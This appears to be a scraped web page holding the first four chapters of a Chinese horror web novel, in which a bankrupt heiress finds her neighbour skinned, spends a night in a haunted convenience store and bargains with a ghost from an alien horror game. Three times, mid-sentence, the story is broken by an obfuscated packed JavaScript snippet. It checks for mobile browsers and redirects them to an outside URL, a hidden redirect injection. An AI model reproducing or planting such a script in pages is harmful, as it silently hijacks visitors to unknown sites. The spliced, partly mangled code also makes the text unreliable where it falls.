《灵异便利店,专业缉凶二十年》 1. 01 水滴从灰色天花板的裂纹中落下,掉进断了手柄的蒂芙尼杯子里,已经蓄了小半杯。 涂蓝埙躺在逼仄的钢丝床上,僵痛从背部传来,她已失眠六小时,或者说,搬进这间廉租屋后,就没睡过好觉。 薄墙板隔音很差,哭声袅袅从不知何处传来,间杂破碎的低语,她蜷缩起来,诚心希望是活人在哭,而不是死人。 在这个世界,死人是真的会哭的。 六年前,地球开始出现大规模的灵异事件。 开端是有人发帖,因旁边工位出现了陌生同事而害怕,还遭到网友嘲讽,“办公室巨婴”“i到极致是一种精神问题”顶上热搜。 但真正的高潮,是一起白领凶杀案登上新闻头条,受害人死在工位上,凝血浸透键盘,被发现时死不瞑目,眼球还映射着前夜加班的电脑屏光。 受害人就是发帖的帖主,而他声称的“陌生同事”,经公司方确认,根本就不是这栋写字楼的员工。 调查继续深入,政府公民档案和人脸信息库显示——这个凶手不存在! 就是字面意义上的不存在,全球范围内,没有任何一个活人或曾经活过的人,长有凶手的那一张脸。 而监控探头印证了,那个不存在的凶手,打领带穿衬衫的普通人模样,他在作案后直接消失在了空气中。 他是鬼。 白领事件仿佛拉开了某种帷幕,一桩桩带有灵异色彩的血案在各地发生,人们开始警惕周围出现的陌生面孔。 可能是小区里突然出现的拾荒老人,可能是地铁里搭讪的口罩男孩,谁也不知道究竟是不是活人。 而这一类事件,被统称为“诡异入侵”。 “咚咚咚!” “咚咚咚!” 连续六下报丧似的砸门声,连玻璃都开始震,一星期来屡见不鲜,外面久等不开,于是吼叫中掺杂了撬锁的动静。 涂蓝埙闭了闭眼,从床和墙壁的夹缝中起身,走五步后打开锁头,“您找谁?” 外面站了五名大汉,为首的凶神恶煞,摊开巴掌,“你就是涂蓝埙小姐吧?涂董事长还欠着我们老板五百万,还钱!” “我妈住院了。”涂蓝埙说,对方以为被推托,更加暴怒起来,谁知她慢条斯理从身后拿出一只小本子,旋开笔盖记录起来,“您老板叫什么?欠款日期是多少?有欠条或凭证么?” 讨债的大汉愣住了,将涂蓝埙从上到下打量一遍,她举着那只本子,露出一截细而白的手腕,在灰扑扑的空气中显得不搭调,黑头发略带自来卷,表情过于温和,像只黑毛的小羊。 既不像传闻中的财团大小姐,也不像流落贫民窟的可怜虫。 纯真,柔软,又有些不属于动物性的聪明。 她难道不知道他们是干什么的吗? 灰色背景的社会人员,腰间别着刀,可以在她洁白的皮肤上割出一道口子,流不出钱就流血。 涂蓝埙仍温顺着眉目,为首的面露不耐烦,将一张皱巴巴的纸在她眼前快速晃了下,一条腿插入门缝,下一步就要强行挤开涂蓝埙闯入室。人还未过去,视线已越过她的肩膀,搜寻屋内值钱的东西。 左邻右舍的门扉紧闭,讨债者们挤挤挨挨站在一起,忽然,楼道灯忽明忽暗狂闪,他们齐齐瑟缩起来,对为首的磕磕巴巴: “大,大哥,不对劲啊!她家隔壁是不是被诡异入侵了?” 话音未落,隔壁那扇门就凭空“咚咚咚”震颤起来,门前的大汉向后一缩,“不是我敲的啊!” 竟是从屋里面被敲响的。 那扇门上的催缴单已经贴得很厚,最上面一张显示半年前就被掐断水电燃气,怎么可能有人住? 为首的大汉已经从门内挤出来,铩羽而归,将断柄的蒂芙尼杯子扔在地垫上“什么值钱的都没有,贼来了都得扔两块钱,我呸!” “我会还钱的。”涂蓝埙梗着脖子。 “那给你一个月时间借钱,再不还,就把你妈从医院拖出来!” 撂下这句话,讨债队头也不回地逃了,边逃还边说:“回去告诉老板,钱怕是要不回了,住在这种地方,估计这小丫头活不过周末,真晦气!” 涂蓝埙捡起那张欠条复印件,关门回屋,脸上的淡定再也维持不住,双膝一软,背靠门板坐在地上,止不住地颤抖,她抱紧了自己。 她最怕鬼了。 如今,上点档次的小区都安装了人脸识别,严防陌生人进入。可涂蓝埙租住的是破筒子楼,全是临时租户,水电都缴不齐,更别提安保了。 好在,她见过一面隔壁邻居,是个满脸病容的女人,应该是活人。 涂蓝埙轻轻松了口气,刚要反锁家门,敲击声却未曾止息,依然不远不近回荡在耳边。 会不会是……求救信号? 譬如哮喘之类的急性病发作,喊不出声,爬在地上蜷缩着,只能在里面敲东西,就像地震里被掩埋的存活那样…… 女邻居的敲击声也算救过涂蓝埙一回,再怎么说,她也不能静等对方生命流逝。 涂蓝埙按下应急电话,确认外面没人后,踮着脚回到隔壁门前,没有贸然敲门,静悄悄贴在门缝听去。 “你还好吗?能从里面打开门吗?” 门内一片死寂,只有钝闷的“咚咚”敲击声,隔着门板,精准砸在她的听觉神经上。 果然出事了。 涂蓝埙脚步向前一跄,门竟然没锁,她小心走入隔壁邻居家,地板发出喑哑的咯吱声,她有些后悔,随时准备逃走。 勉强能称为客厅的窄小空间是空的,敲击声更加清晰,从卧室方向传来,那与涂蓝埙的床只有一墙之隔。她走了过去。 “您好?应急电话被接通,女接线员的声音响起,“请问有人需要救护吗?” 不,不再需要了…… 涂蓝埙全身都绷得死紧,唾液在口腔中盈积,而她的喉咙连吞咽本能都失去了。 隔壁卧室里的确是有人的,人形不可思议地流淌在床边,干瘪的大腿顺着床沿弯折悬垂,像一双搭在那里的青黄色丝袜。 而地板上,一路蔓延到涂蓝埙鞋边的张牙舞爪的黑,是散落的长发,底部镶嵌着一张平铺的脸皮,中央一点点凸起是失去支撑的鼻子,两侧纽扣孔似的窄缝是眼睑。 死了,彻底死了。 失去了眼球的眼缝微微闭合,仿若小憩初醒,下一秒就要翕动皮革状的嘴唇,露出微笑。 邻居已经死去多时,死因绝非人力,因为只剩下一张完整的人皮。 干燥又湿润的,覆了一层油光尸蜡,现在是初冬,所以没有招来蚊蝇,但涂蓝埙双耳仍听见虚空中的嗡嗡声,她捂住胸口,想要呕吐却被打断。 “咚,咚,咚……”敲击声仍继续,在这空荡荡的房间里。 明明没有人在敲击,好像这房间天生就会响似的,涂蓝埙后退一步,回潮的意识告诉她,她卷入了一起诡异事件,此刻就站在案发现场。 而且,萦绕不去的敲击声表明,那个杀死邻居的东西并没有离去。 ……等等。 涂蓝埙呼吸一窒,视线移向那张人皮,墙壁另一边就是她的住处,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184549|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那声音听来比之前还要闷钝,好像隔了一层,难道是…… 是从她刚刚离开的自己家里传过来的。 那个杀人的东西就藏在她家里。 幸亏之前只在门口站了一下,没有回去躺床,或许在涂蓝埙鼓起勇气第二次出门时,那东西就在她身后不到五步距离,窥视着,用湖底一样森冷潮湿的目光。 假如没有及时离开家里…… 偶发的同情心救了她一命。 “咚咚咚咚咚咚咚咚!”声音猝然放大了,像是问答节目的过关音效。 恭喜你,猜对啦,奖励是变成一张人皮。 涂蓝埙转身就跑,虽然全身颤抖,口舌反倒灵敏起来,姓名地址和楼号流利报出,她奋力朝手机另一端的接线员求救,可对面突兀地闭了嘴,没再说一个字。 恶意的沉默,只回以一串电流噪音,仿佛突然被切断连线。信号格只剩一点点,外部世界单方面拒绝了涂蓝埙的求救。 她冲出邻居家,看都没看自己家的门,径直跑向楼下,那只断柄杯子突然开始自主滚动。 转过两个楼层时,被消音的手机重新连上线,一种嘈杂的动静击中了涂蓝埙。 通话页面仍凝固着,但说话的不是那个女接线员。 声音从手机中和涂蓝埙耳边同时响起,是被信道失真过的带毛边的男声,一字一句,微哑、冰冷而清晰: “回头,我在你背后。” 男声咬字过分端正,调子很冷,带着些微微上扬的色彩,像是从古早新闻联播中截出的一段音频。由于过度标准,更像编程生成,十分浓烈的非人感觉。 就好像沾了孤坟露水的草叶,凉冰冰地,划过涂蓝埙的耳朵。 涂蓝埙胸膛剧烈起伏,哪里还敢看背后,只觉得脊背爬上一层麻意,这最好是心理作用,而非真有什么东西贴在她背后。 她跑得几乎飞起来,生怕声音再响起第二遍,连手机都忘记丢出去。 生锈的单元门就在眼前,亮光代表安全,即便有诡异贴在身后,在公共场所大声呼救的可能性,也成了值得紧抓的一根落水稻草。 涂蓝埙跳下最后半截楼梯,不顾脚踝挫痛,头也不回地冲向了外面。 苍白的日光从头到脚将她笼罩,血液渐渐回笼,涂蓝埙呆站两分钟才反应过来,那作怪的手机还握在掌中。 屏幕碎了道缝,没修,迟迟才随环境自变亮度,应急电话超时自动挂断了,她按灭手机。 还好,周遭空无一人,她是安全的。 “叮铃铃铃铃铃——” 同一秒,手机自动震响,涂蓝埙险些当蟑螂掷出去,看清之后才接起来。来电显示是一坨emoji粪便。 “喂,涂蓝埙,说好了你敢去那鬼屋待一宿,我就帮你妈妈付一天医药费,你磨磨蹭蹭等什么呢?你不会真这么怕死吧?”对面的年轻女声夹枪带炮。 “我知道,马上就过去。”涂蓝埙垂眸,声音软而凉,没什么情绪,“嗯,嗯,我会拍照片的,不会糊弄你。” 女声笑了一嗓子,忽然恶意起来,“那好,要是你死在那里了,我保证全额承担涂姨的后续医疗费用,加油哦。” 涂蓝埙挂断电话,朝事实上只是条陋巷的小区出口走去,小腿微微颤抖着,但脊背挺得很直。 如果她此刻回头,就能看见单元门的空框内,倏地浮出一道高大人影,视线追随她的方向,那是一双染满灰尘的桃花眼,眼球破碎如玻璃珠,连目光都是无序的。 人影朝她迈了一步,旋即消失在原地,只剩一片空洞的灰暗。 2. 02 高架桥,晴天之下。 出租车在巨型广告牌间疾行,四周赫然竖有“请勿靠近可疑人形体”、“不要混淆扭曲与现实”、“谨防诡异入侵朋友圈”等警示语。 涂蓝埙听着车载广播,“近日开发区大面积遭到诡异入侵,房价再破底盘,投资商涂氏集团损失惨重,正式宣告破产,据悉董事长涂蓬莱已住院……” 司机不知后座就是新闻当事人的女儿,“啧啧”两声,透过倒车镜投来一眼,再次强调: “去开发区得给双倍车费啊。小年轻一个个就是喜欢冒险,都不要命……” “蓬莱大厦三号门,阳光便利店,您开就行。”涂蓝埙说。 司机仿佛见了鬼,“蓬莱大厦?就属那闹鬼最凶,先说好啊,我就在路口给你停一下,你自己走过去。” 驶入开发区范围,一张张印着吉楼旺铺低价转售的传单被车轮碾起,纷飞如雪片,这里已经荒芜无人。两侧楼房窗户像一只只空洞的眼睛,注视闯入的陌客。 还没到路口,司机再不肯多开一米,涂蓝埙付钱下车,前者一脚油门踩到底,出租车却在这当口不正常地熄了火。 车门内传来司机惊恐的咒骂,他颤着腿连踏几次油门,车子终于迟迟发动,弹射出去,丢下涂蓝埙和面前的深蓝色大厦。 蓬莱大厦是开发区商圈的核心,像一面倒映天空的镜子,涂蓝埙的目的地就在它脚下,一间白绿色牌匾的24h便利店,也是在债务灾难中,她唯一落得的东西。 ——因为地处无人区鬼楼,没有任何债主或买家愿意要它。 涂蓝埙拍了张便利店照片,带定位发出去,备注为emoji[便便]的对面回以:“连你自己一起拍!别想着骗我。以后每小时给我拍一张,防止你偷跑。” 照办后,一笔转账发过来,涂蓝埙立即接收,打开便利店门锁,里面是一片乱七八糟的死寂。 收银机抽屉敞着口,货架被债主扫过一遍,值些钱的商品被搬走了,剩下的扔在地上,涂蓝埙弯腰把它们一件件捡起来,各自归位。 本不必这么做,但好像有事忙的话,就能忘记这里是无人鬼区。 她必须在这待至少一夜,这是陶大小姐想出来折腾她的戏码,曾经的二代圈子谁都知道她怕鬼。可是有钱赚,涂蓝埙快吃不起饭了。 收拾完便利店,外面已经暗了下来,涂蓝埙用了点时间找到便利店的电开关,为了壮胆,她把店内照明和店外牌匾的灯都点亮了。 不过涂蓝埙很快又灭掉后者,毕竟这是诡异入侵区,万一亮着的牌匾招来脏东西呢。 随便找了包泡面,读一遍食用说明,涂蓝埙打开被拆掉格栅的关东煮锅,静静等水烧开。 她从没自己煮过泡面,那个出租屋没有燃气,只能用电热水壶泡着吃。 等锅里的水面翻滚许久,降低了肉眼可见的一截,涂蓝埙才确信这是烧开了,她虔诚地将面饼投进去。 大锅里漂着一块小面饼,显得有点可怜。 “这是火锅版泡面。”涂蓝埙一边用筷子戳,一边告诉自己。 独自在闹鬼的地方吃不方便食品,有一种命很苦的感觉。很快到了下次打卡的时间。 涂蓝埙对着关东煮锅自拍了一张,点击发送,无暇去想陶思会不会放到塑料姐妹花群里开嘲讽。她得赶紧捞,锅里的泡面开始融化了。 吃完面,网上交了医药费,手机恰好退回聊天界面: 她坐在煮锅旁,黑发被水汽蒸过更卷了,半个人浸在缥缈的白烟里,脸颊边的雾气浓郁,隐隐现出……另一副半透明的五官。 涂蓝埙的手机差点掉进锅里。 再看照片,即便是白雾凝成的,那副五官也立体得出奇,半透明的眼珠冷而锐利地盯着她,几乎贴在她脸上,让人头皮发麻,像是在用目光无声低诉。 是巧合吗?是这里原生的诡异,还是那个在筒子楼里杀人的东西,跟上来了…… 一个紧缠着她不放的。 鬼。 涂蓝埙远远躲开关东煮锅,白雾已经淡去形状,她想不顾一切从店里夺门而逃,但一条医院发来的短信叫醒了她。 【鹿城中心医院】提醒您:住院缴费已成功!查收历史缴费记录请登录鹿医通账号,人工咨询拨打10XX76。 妈妈还在医院里,她从便利店逃出去,陶思一定会断供医药费。 而且,夜幕已经降临,只凭两条腿是走不出空荡荡的开发区的。 不管怎么说,起码得在这待够一整夜,明天就离开这,去做家教也好,去端盘子也好,找一份有收入的工作…… 涂蓝埙悬着一颗心,坐在四面空凭的灯光下,视觉盲区的每道暗影都像要扑上来似的。 她在收银台旁边搭了个窝,以椅作枕,外套盖在身上,腿下垫着货架搜出来的垫子。刚躺下,一股尿意就在膀胱中盈聚。 便利店最深处有个卫生间,墙上挂着条数据线,那是个长方形的灰暗小空间,阴影起伏,她试着打开总控电箱,却发现标注着“卫生间”的开关坏掉了。 而另一个电灯开关,应该在卫生间门内。 涂蓝埙犹豫了两秒,夜还很长,她只能认命走过去。 不过在过去之前,她打开了收银电脑,壁挂音箱的轻音乐流淌而出,舒缓紧张情绪。 “吱呀”一声,涂蓝埙推开半掩的卫生间门,迎面而来的是一股干燥的冷空气,像是里面连通另一个出口似的,有阴阴的风吹在她脸上。 关于回归自然——随地大小便的可行性再次飘过脑海,念头很快切换为“来都来了”,涂蓝埙用手机手电照了半圈,才找到墙上的电灯开关。 “喀哒”一声,涂蓝埙被倏然出现的人形吓了一跳,后背贴在墙上,才反应过来那是镜子里的自己。 灯光下的自己样子有些陌生,她做了个表情,更诡异了,好像是透过镜子看另一个人。 隐藏在和她一样的皮囊下,但里面是另一个模仿她的东西,它会趁她不注意逼近镜面,探出半个身子,伸手把她抓进去…… 镜子会带给人强烈的不安全感,因为它暗示着,不是每个人都是表里如一。人类最害怕的事情就是凝视自己。 而且,当人独自站在镜子前,会出现一种诡异的可怕场景——这里明明有“两”个人作伴,可你还是感到孤寂。 ——倘若你非说这里只有你一个人,那你对面那个又是谁? 涂蓝埙甩掉这些念头,坐马桶上划手机,最新一条新闻是:“警惕!《灰色城窟》!史上最恐怖的诡异游戏登陆地球!” 连续三个感叹号刺入眼睛,涂蓝埙浏览着模糊的截图,外面越来越危险了。 这并非游戏宣发广告,而是确实存在的游戏异世界,里面的NPC和BOSS真的会降临地球。 近年,经过有关部门推测,那些行凶作恶的类人诡异,很可能来源于不同维度的游戏世界,尤其是恐怖类的游戏。 观点源于灵能网络专家捕捉到的外网数据信号,一幅电子游戏海报,还有两张游戏截图,截图复原出的男性人脸,和最近几起连环凶案的诡异凶手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184550|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其相似。 如今的外网并非指国外互联网,而是外太空偶尔掠过的,可被地球拦截的信息流。 自从六年前南周大学黄教授捕捉到第一组外网信号,并解码出破碎的通话声音后,对不同星球甚至异维度的研究就成了蓝海领域,甚至专门创立一门学科。 那段语音碎片最早被称为“拨打自太空朋友的电话”,但诡异入侵的今日,它已经被当作一切不祥的开始。 涂蓝埙放大了那个诡异嫌犯的图片,是青年男性,五官可见深刻,镜头边缘的噪点和畸变过于严重,糊成一个炭色的多边形。 但存在感过强的,唯有那双眼角下勾的眼睛,瞳仁向上凝着,很好看,但从眉骨阴影下射出锐利的视线,好似能戳破手机屏幕,死盯着涂蓝埙的脸。 好像和水蒸气里的那双眼睛有点像。 怎么可能呢,那可是新闻里的厉鬼凶手,哪有这么巧的事。 那诡异有一个来源于《灰色城窟》角色海报的名字,或者代号。 夜莺医生。 就在涂蓝埙准备关掉这个页面时,手机“嗡——”地响了,震得她双手一麻,麻痹感几乎从手掌顺着静脉,一路传回心脏里。 诡异的那双眼睛凝视着她,就好像在警告一样。 是一通未知电话,没有归属地,被自动提示为“疑似存在风险”。 突然打来的电话总会让人心脏一抽,涂蓝埙下意识按灭了通话,手机弹出了未接来电提示。 “又是私人贷款的广告吧。”涂蓝埙这段时间接了很多这种电话,他们从各个角落钻到她面前,就像蚊子嗅到血,承诺只要出借个人实名账户,或者手持身份证读一段文字,就可以获得数额不等的高息贷款。 将这通电话也拖入黑名单,她吐出一口气,正准备离开卫生间,手机竟然又响了。 还是那个未知号码,刚刚被拉黑的那串不像电话号的数字,闪烁在涂蓝埙的屏幕上。像一种无声的威胁。 用发麻的指尖按掉电话,涂蓝埙一不做二不休,直接关了手机,黑色屏幕倒映着卫生间灯光,她在心脏的狂跳中找回自己的呼吸。 最后一丝理智崩裂于抬头的瞬间。 面前的卫生间镜子覆了一层水雾,这是进门时没有的事,它不再光亮,灰蒙蒙地映出涂蓝埙模糊的五官,她看见自己——那个人影的嘴巴大大地裂开,月牙形的暗红,然后向耳朵扬起。 她敢用脸颊上的每根绒毛保证,她本人绝对没在笑! “嗡——嗡——嗡——”已经关机的手机再次亮起屏幕,还是那个噩梦般的未知号码。 鬼来电。这三个字不可控制地浮现在她脑子里。 这次不管涂蓝埙怎么按,那个通话页面都分毫不动,既没法退出,更没法挂断,连关机都做不到了。 它是不容拒绝的。好像一种非要传递给她不可的厄运一样。类似电影里的诅咒录像带,只要看了,鬼就会从天花板、被窝甚至人的喉咙里钻出来吃她。 涂蓝埙整个人仿佛被冻在原地,脑子倒是还能转,正当考虑要不要接一池子水,把手机扔进去泡的时候,怪异的事情出现了。 好像有看不见的手指在镜子上涂抹,那雾面发出“吱扭吱扭”的摩擦声,一行骨架俊逸但长横刁钻撇捺飞扬,显得鬼气森森的字,出现在了镜子上。 “接电话。”那行字写道。 涂蓝埙的躲避行为显然引起了某种存在的不悦。 一口气终于冲出胸腔,凭着瞬间爆发的勇气,她把手机扔向镜子,逃离了卫生间。 3. 03 涂蓝埙冲出卫生间时,便利店门被正在推开。 先踏进来的是一条长腿,主人矫健修长,但皮肤白得略欠血色,可见皮下血管凝成翡翠矿脉般的流线,从小腿经由衣裤连到大臂内侧,有一种阴郁的精致感。 一张雕凿过似的立体面庞,脖子架着耳机,有锋利的鼻尖,和比鼻尖更锋利的桃花眼,视线移过来,“你好,这能发快递吗?” 声音略微耳熟,这人打扮像是出来夜跑的,运动装是高端商场里的牌子,他有一身后天养成的贵气,但不知怎么的,迎面压来一阵冷空气。 是顾客?涂蓝埙想起两公里外确有一片别墅,只不过属于另一个区。谁不想活了,大半夜往开发区跑步?她皱了下眉。 “噢,没看方向,听着音乐就被导航到这里了,幸亏你这家店还开着,要不我真不知道怎么办才好。” 那男人摸了把后颈的碎发,笑一声,他笑起来唇勾齿洁,但这灿烂背后有种说不出的东西。 就像人造的阳光,虽然明亮,但因虚假而冰冷。 涂蓝埙选择接受这一点,在她曾经生活的那个圈子,这种伪真实是很常见的。 故而她忽略了某些事,譬如这张笑脸并不亲善,湿冷的锋芒从眼睛里钻出来,描切着她的轮廓。 以及,无论真假阳光都会照亮四周,而这个人没有,他显得明亮,是因为周围的一切变暗了,他本身就是一个噬光的怪物。 “您想寄什么?寄到哪里?”电子账本里有代理包裹的条目,收银台抽屉里也有快递单,涂蓝埙谨慎问道。 年轻男人一动不动地看着她,便利店外忽然刮过一阵风,玻璃门翕动着嗡响,就连店内的灯光也闪烁了两下。 涂蓝埙注意到,他在早秋季节竟然戴了双手套,薄黑皮质,非常贴合手形,不过左手手套摘了下来,拿在另一只手中。 “寄同城,本市市区。”他说,选择性忽略第一个问句,解下背后挎的一只黑包,放在柜台上。 同城寄送一般是急件,显而易见,不会有快递员肯来涂蓝埙的便利店取货,她原打算自己送去最近的网点,最早也得明天中午。 “指定快递公司吗?着急的话,我帮您叫个外卖跑腿也行。”她不愿放弃这个男人,对方看上去生活优渥,或许能发展成未来网店的客户,哪怕代价是明天起个大早。 年轻男人站在灯光下不动,他的目光紧钉着涂蓝埙,但当她看过去时,那视线又移开了,“不需要,得麻烦你亲自送一趟。” 正常人都提不出这种请求吧?还是这人养尊处优惯了,觉得自己可以任意指使别人。不给个高价的话,她不会答应的。 男人的指节很白,像艺术家或者钢琴师的手,掌面宽,但指骨超比例地纤长,看上去很灵活又有力量,正搭在那只黑背包上,仿佛随时都能攥控它,有种与雅正外表不符的野戾的掌控感,又是一处违和。 “我看看明天有没有空吧。不过,您要寄什么?”涂蓝埙重复道。 她心中升起怀疑,那只黑包里的东西合法吗?别是把她当骡子用了。而且,她想起了一些社会案件,被骗的年轻女性本身才是“货物”。 涂蓝埙不着痕迹地打开收银台电脑,浏览器首页有报警电话号,点击就能自动网络报警。 虽然未必能接通,但吓唬不法分子还是有用的。 年轻男人笑了声,涂蓝埙的小动作显然被看在眼里,但他视若无睹,似乎看穿了她的疑虑,缓缓拉开背包拉链,伸手取里面的东西,以证清白。 可他的动作太慢条斯理,仿佛包内装着什么易碎的东西,而且半截手腕都没入了背包,翻找,抓握,让她无端想起纪录片里的猎人。 猎人会在雪地里给野兔开膛破肚,整只手探入它的腹腔,扯拽出一串冒热气的内脏,血跟着打湿了手腕和被切开的皮毛……他就给她这样的危险感。 就当涂蓝埙怀疑他要抽出一把刀的时候,男人手掌托出一颗泛黄的近似球体,她脊背放松下来,原来不是凶器。 而是人头啊。 那是一颗完整的人类颅骨,俗称骷髅头,泛着一层不祥的光,牙齿有明显磨损,瞬间摄住她的视线,人类只会在面对真实的同类尸骨时,才会像她这样全身发毛。 医用模型没这种效果。 她今天已尝过一次基因的恐惧,不会弄错。 眼前的男人到底是谁?涂蓝埙感觉身体被冻住了,连点一下鼠标都艰难万分,而电脑适时弹出一条消息,她机械地看过去。 【游戏管理局】提醒您:一批失控的鬼怪角色可能会进入您的区域,您所在的位置即将遭受诡异侵蚀,请不要接收鬼怪的任务!尽快撤离! 年轻男人仿佛听不见电脑提示音,仍站在那,将颅骨托到涂蓝埙身前,垂下冷阴的桃花眼,笑声也渗着冷,“麻烦送到市殡仪馆A组12号冷柜。” 他的声音和几小时前鬼来电的声音一样,只是后者被电流干扰,显得模糊失真,所以一时没对上号。 其次,这张俊脸如果模糊掉轮廓,只留那双阴翳精致的眼睛,似乎和诡异游戏《灰色城窟》里的终极BOSS夜莺医生非常吻合。 基本可以确定,对方是鬼,而且是来自降临的游戏世界的大鬼。她这一天都奔波在对方的股掌中。 短信叫涂蓝埙不要接收任务,好像这么做就不用死了似的,涂蓝埙捂住锁骨中央,银色项链在衣料下微微硌手,她随时准备捏动按钮。 项链里有一个数据体屏蔽器,是十六岁那年涂蓬莱送她的生日礼物,据开发者说有短暂隔绝诡异的用处,只能用三次,但她从未实证过。 年轻男人拿出手帕擦过收银台的一角,把那颅骨放在他和涂蓝埙中间,就好像给它也寻了个在场位子似的。 “你不接我打的电话,三次挂断。所以我只能来找你。”他表情轻柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184551|165460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛风度足以谅解这种怠慢,可眼瞳定定向前,从未松开过涂蓝埙一分一毫。 视线锚定在她的咽喉,尖锐又胶着,不带肮脏意味,却引发了更深层次的战栗。他极度专注,关心她的细微反应,像扑杀猎物之前的捕猎者。 这是亮出爪锋前的招呼,直接告诉她:让你担惊受怕的对象,是我。你现在被找到喽。 涂蓝埙毫不犹豫,点击鼠标的同时,按动了项链上的屏蔽器,一道数据屏障以她为核心,扩展为半球体,几乎笼罩了整个柜台,也包括年轻男人,或者说男鬼。 事实上,在那光幕掠过男鬼的时候,他的身形就闪烁消失了,消失时的表情泄漏一丝阴郁的疑惑。 那狗东西应该被屏蔽掉了吧,暂时被隔绝在她的周围以外。赞美项链。 去他的诡异,去她的陶思,后者必须把一个月的医药费作为精神损失费打给她! 涂蓝埙开始今天第二次逃跑,全身都在颤抖,但双腿意外地稳当,她越过那只骷髅头,头也不回跑得比大学体测还快,冲出了便利店。 八百米外的路口有个移动充电亭,她来的时候就注意到了,虽然里面的充电头都被撤走,但亭子本身有拨号系统,标注:文明使用,一键报警。 阴云笼罩在头顶,两侧树影幢幢,便利店的微光在身后越来越远,涂蓝埙拼尽全力朝亭子的方向跑去,可那只亭子好像消失在夜色中,而夜色给她送来了新发现。 不远处的一处没有牌匾,但玻璃内开着暖灯的店在黑暗中发亮。 涂蓝埙的步速慢了下来,她慢慢站定,整个人浸泡在凉稠的空气中,心跳怦怦。 那间前路上的店,写着阳光24h便利店,玻璃内还能看见收银台一角,那只骷髅头还在那。 一阵大风刮过,凉透心扉,玻璃窗发出呜呜的震动声,她看见店灯闪了闪,好像在招手,欢迎她回家。 男鬼在亮光中央站成一道黑影,冲她微微笑着,轻轻挥手。 涂蓝埙仿佛被无形的手扼住脖子,她牙齿轻轻磨动,随即转过头,假装看不见那鬼打墙的便利店,埋头快跑,掠过那令人发寒的光源和人影。 重入暗夜中,她的神经稍微放松,可下一秒,第三个相同的便利店,突兀浮现于前路。 男鬼仍然在店门内注视着她。 她不停经过相同的场景,就像跑轮里的仓鼠。男鬼已经被屏蔽器解决掉,可她根本跑不出这条街。 停。涂蓝埙在心中叫道,一定有其他办法,动动脑。 “他不想杀我,起码在完成某些事前不想。否则没必要这样戏弄我,打电话、发快递和鬼打墙。”她试着说服自己,“一切都是可商议的,我就成长在这样的环境里,不管冒多大险,只要有利可图,任何混蛋都能谈成伙伴,但……哪怕是鬼?” 对,哪怕是鬼。 她狠狠打了个冷战,然后鼓起勇气转身走向便利店。 4. 04 开门进去,涂蓝埙侧头,在玻璃的反光中,一道高大的黑影骤然浮现,堵在了她和店门之间。 “想通了?”男鬼的嗓音泛着冷,音色让人想起夜风中的提琴,带了些气声的喑哑,几乎吹在她头顶。 她哆哆嗦嗦,退步拉开距离,忍住从胃里往外涌的惧意,强迫自己直视对方的眼睛。建立眼神交流,这是沟通和洽谈的第一步,“我帮你送这个东西,条件是你放过我,此后我们两清,怎么样?” 说完这句,涂蓝埙的视线移到骷髅头上,鬼的存在让她对死者头颅的恐惧也不足为道了。 男鬼跟着她向前走了半步,偷偷摸摸争取到的安全区再次被侵占,他苍白细腻的下颏占满她视线的上半部分,牵动脖子上一根浮凸的漂亮的筋,他说,“它是一个人的颅骨,不是‘这个东西’。记住这一点。” 优点是他愿意说话,缺点也很明显,男鬼根本没有答应她的条件,而且存在某种体现在用词上,独属于特殊人群的考究精神。 所谓特殊人群,一般指学者、医生和变态连环杀手。 “当然。”涂蓝埙故作轻松,她不输阵地走到货架边,同时离开了男鬼身旁,拿起两听廉价汽水,“我们可以坐下来聊。喝点东西。” 但最后只她一个人坐下,男鬼仍然站着,两听汽水放在两人之间的收银台上,连成一道聊胜于无的分隔线。 涂蓝埙打开自己那听,喝一口壮胆,青苹果味在喉头泛着气泡。男鬼一动不动,面无表情,剩下孤零零的那听好像成了骷髅头的供品。 “我叫什么想必你清楚,那怎么称呼你……您?”她问。 “N。”男鬼抛出一个字,眼神凉凉地钉在她身上。 夜莺医生,译成英文是Dr.Nightbird。 N。 既然想笼络关系,难免要待客以道,男鬼可能喝不了人间的饮料,涂蓝埙想着,或许能给他买些香烛纸钱,于是她说了出来。 男鬼的神情依然莫测,仿佛听不见涂蓝埙的友好,他周身有缓慢的水滴声,声音就像午夜听到的拧不紧的水龙头,一滴一哒敲在耳朵边,让人越来越在意。 很明显,男鬼——N散发出的阴冷气息,还有幽冷如蛇的眼神,意思是让她闭嘴,但涂蓝埙仍在柔和争取,因为她一中断就会失去所有勇气。 “或许我可以买一个香炉,毕竟您不能吃喝人间的东西的话,我们可以上供过后再试试。” “咔嗒。”声音是N扣开了拉环,用没戴手套的那只左手。 